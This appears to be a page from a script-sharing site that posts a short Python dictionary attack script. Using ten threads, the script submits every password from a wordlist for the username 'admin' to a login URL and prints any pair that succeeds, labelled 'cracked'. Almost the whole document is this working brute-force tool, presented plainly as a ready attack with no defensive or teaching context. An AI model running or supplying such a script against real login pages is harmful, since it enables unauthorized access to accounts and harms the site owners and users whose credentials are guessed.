返回首页 Simple dictionary attack script

Simple dictionary attack script

**Scripts | 2025-06-18 04:14:29

import requests
from concurrent.futures import ThreadPoolExecutor

def try_login(url, username, password):
    data = {"user": username, "pass": password}
    r = requests.post(url, data=data)
    if "Login failed" not in r.text:
        print(f"成功破解: {username}:{password}")

with open("passwords.txt") as f:
    passwords = [line.strip() for line in f]

with ThreadPoolExecutor(max_workers=10) as executor:
    for pwd in passwords:
        executor.submit(try_login, "http://target.com/login", "admin", pwd)